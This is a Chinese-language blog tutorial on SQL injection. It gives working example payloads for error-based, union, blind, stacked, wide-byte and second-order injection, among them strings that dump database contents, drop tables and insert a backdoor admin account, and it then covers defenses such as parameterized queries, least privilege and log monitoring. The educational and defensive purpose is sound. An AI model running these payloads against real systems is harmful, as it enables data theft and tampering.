SQL注入攻击详解

SQL注入攻击详解

前言

SQL注入作为Web应用程序中最常见的安全漏洞之一,至今仍是攻击者利用的主要手段。本文将详细讲解SQL注入的各种利用方式,帮助安全研究人员和开发者深入理解这一经典漏洞。

什么是SQL注入?

SQL注入(SQL Injection) 是一种将恶意SQL语句插入原本正常查询中的攻击方式。攻击者通过在用户输入中注入特殊的SQL代码,可以控制数据库的查询逻辑,进而读取、修改甚至执行系统命令。

攻击原理

当Web应用程序未对用户输入进行充分验证和过滤时,攻击者提交的恶意输入会被直接拼接到SQL查询语句中,导致原有的查询逻辑被改变。

SQL注入类型详解

1. 错误注入(Error-based Injection)

攻击原理:通过注入有语法错误或运行错误的SQL语句,使数据库抛出报错信息,从错误信息中提取字段、表名、数据库版本等敏感信息。

核心关键字

  • extractvalue() - XML路径提取函数
  • updatexml() - XML更新函数
  • floor(rand(0)*2) - 随机数取整函数
  • group by - 分组查询

经典payload示例

1
2
3
?id=1 and extractvalue(1, concat(0x7e, user(), 0x7e))
?id=1 and updatexml(1, concat(0x7e, database(), 0x7e), 1)
?id=1 and 1 group by concat(version(), floor(rand(0)*2)) having min(0)

技术细节

  • extractvalue()函数在参数格式错误时会抛出详细的错误信息
  • 0x7e代表波浪号~,用作数据分隔符便于识别
  • 通过构造特定的错误条件,可以在报错中泄露数据库敏感信息

2. 联合查询注入(Union-based Injection)

攻击原理:通过union select语句将攻击者指定的查询结果与原始查询结果合并,从而在页面上直接显示数据库中的敏感数据。

核心关键字

  • union select - 联合查询
  • null - 空值占位符
  • order by - 字段排序(用于探测列数)
  • from dual - Oracle数据库虚拟表

探测与利用流程

  1. 确定字段数量
1
2
3
?id=1 order by 1 --
?id=1 order by 2 --
?id=1 order by 3 --
  1. 构造联合查询
1
2
?id=1 union select 1,2,3,4 --
?id=1 union select null,user(),database(),version() --
  1. 提取敏感数据
1
2
?id=1 union select null,table_name,null,null from information_schema.tables --
?id=1 union select null,column_name,null,null from information_schema.columns where table_name='users' --

3. 时间延时注入(Time-based Injection)

攻击原理:通过执行数据库延时函数,根据HTTP响应时间判断注入条件的真假。这种方法特别适用于无页面回显的盲注场景。

不同数据库的延时函数

  • MySQL: sleep(x), benchmark(count, expr)
  • PostgreSQL: pg_sleep(x)
  • Oracle: dbms_pipe.receive_message('',x)
  • SQL Server: waitfor delay '00:00:0x'

典型payload

1
2
3
?id=1 and sleep(5) --
?id=1 and if(substr(user(),1,1)='r', sleep(3), 0) --
?id=1 and if(ascii(substr(database(),1,1))=115, benchmark(5000000,md5('test')), 0) --

盲注自动化技巧

1
2
3
# 逐位判断数据库名
?id=1 and if(ascii(substr(database(),1,1))>97, sleep(2), 0)
?id=1 and if(ascii(substr(database(),1,1))<122, sleep(2), 0)

4. 布尔盲注(Boolean-based Blind Injection)

攻击原理:通过构造布尔表达式,根据页面返回内容的差异来推测数据库信息。当条件为真时页面正常显示,条件为假时页面异常或内容发生变化。

核心函数与技巧

  • substr(str, pos, len) - 字符串截取
  • ascii(char) - 字符转ASCII码
  • length(str) - 字符串长度
  • like - 模糊匹配

实战示例

1
2
3
4
5
6
7
8
9
# 判断数据库名长度
?id=1 and length(database())=8 --

# 逐位爆破数据库名
?id=1 and ascii(substr(database(),1,1))=115 -- # 's'
?id=1 and ascii(substr(database(),2,1))=101 -- # 'e'

# 使用like进行模糊匹配
?id=1 and database() like 'sec%' --

5. 堆叠查询注入(Stacked Query Injection)

攻击原理:当数据库和Web应用支持在一次请求中执行多条SQL语句时,攻击者可以使用分号;分隔多条语句,实现更复杂的攻击操作。

支持情况

  • MySQL: 需要使用multi_query()函数,默认不支持
  • SQL Server: 默认支持
  • PostgreSQL: 支持
  • Oracle: 不支持

危险操作示例

1
2
3
4
?id=1; insert into users(username,password) values('hacker','123456') --
?id=1; drop table logs --
?id=1; update users set password='hacked' where id=1 --
?id=1; create user hacker identified by '123456' --

高级利用

1
2
3
4
5
# 创建新管理员账户
?id=1; insert into admin_users(username,password,role) values('backdoor',md5('secret'),'admin') --

# 修改现有用户权限
?id=1; update users set role='admin' where username='normaluser' --

6. 宽字节注入(Wide Byte Injection)

攻击原理:利用多字节字符集(如GBK、GB2312)的编码特性,使转义字符\与注入字符组合成合法的多字节字符,从而绕过转义防护机制。

技术背景

  • GBK编码中,一个汉字占用2个字节
  • 某些字节组合会被解释为单个汉字字符
  • %df%5c 在GBK编码下会被解释为一个汉字

绕过原理

1
2
3
4
5
6
7
8
# 正常情况:单引号被转义
payload: admin' or 1=1 --
转义后: admin\' or 1=1 --

# 宽字节绕过:
payload: admin%df' or 1=1 --
转义后: admin%df\' or 1=1 --
GBK解析: admin[汉字]' or 1=1 --

实战payload

1
2
?username=admin%df' union select 1,user(),3 --
?id=1%df' and extractvalue(1,concat(0x7e,database())) --

7. 二次注入(Second-order Injection)

攻击原理:恶意payload在第一次请求中被正常存储到数据库,但在后续的查询中被调用时触发SQL注入。这种攻击方式具有很强的隐蔽性。

攻击流程

  1. 第一阶段 - 数据存储
1
2
3
# 用户注册时提交恶意用户名
username: admin'--
# 被存储到数据库中
  1. 第二阶段 - 触发注入
1
2
3
# 管理后台查询该用户信息时
SELECT * FROM users WHERE username = 'admin'--'
# 注释符导致后续条件被忽略

典型应用场景

  • 用户注册/个人信息修改
  • 文章评论系统
  • 文件上传功能的文件名处理
  • 日志记录系统

防护措施与最佳实践

开发层面防护

  1. 使用参数化查询/预编译语句
1
2
3
4
5
6
// 错误写法
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];

// 正确写法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
  1. 严格的输入验证
1
2
3
4
5
6
7
8
9
// 白名单验证
if (!preg_match('/^[0-9]+$/', $_GET['id'])) {
die('Invalid input');
}

// 长度限制
if (strlen($_POST['username']) > 50) {
die('Username too long');
}
  1. 使用ORM框架
1
2
3
4
5
# Django ORM - 自动参数化
User.objects.filter(id=user_id)

# SQLAlchemy - 安全查询
session.query(User).filter(User.id == user_id)

数据库层面防护

  1. 最小权限原则
1
2
3
4
-- 创建专用应用账户,仅授予必要权限
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost';
-- 禁止DROP, ALTER, FILE等危险权限
  1. 关闭错误信息显示
1
2
3
// 生产环境关闭错误显示
ini_set('display_errors', 0);
error_reporting(0);
  1. 启用SQL查询日志
1
2
3
-- MySQL启用慢查询日志
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL long_query_time = 1;

WAF与监控

  1. 部署Web应用防火墙
  • ModSecurity规则集
  • 云WAF服务(阿里云、腾讯云等)
  • 自定义过滤规则
  1. 实时监控与告警
1
2
# 监控异常SQL查询
tail -f /var/log/mysql/mysql.log | grep -i "union\|sleep\|benchmark"

总结

SQL注入漏洞虽然是一个”老”问题,但在实际的渗透测试和安全评估中仍然大量存在。理解各种注入类型的原理和利用方法,对于安全研究人员发现漏洞、开发人员修复漏洞都具有重要意义。

关键要点回顾

  • 错误注入利用数据库报错获取信息
  • 联合注入通过union语句直接获取数据
  • 时间盲注和布尔盲注适用于无回显场景
  • 堆叠注入危险性最高,可执行任意SQL操作
  • 宽字节注入针对特定编码环境
  • 二次注入具有较强的隐蔽性

防护核心

  • 使用参数化查询是最有效的防护手段
  • 输入验证和输出编码同样重要
  • 遵循最小权限原则配置数据库权限
  • 定期进行安全评估和代码审计

希望本文能够帮助读者全面理解SQL注入的攻防技术,在实际工作中更好地保护Web应用程序的安全。


免责声明:本文内容仅供学习和研究使用,请勿用于非法用途。任何人使用本文信息进行违法活动,后果自负。


SQL注入攻击详解
https://bae-ace.github.io/2025/07/24/SQL注入攻击详解/
作者
bae
发布于
2025年7月24日
许可协议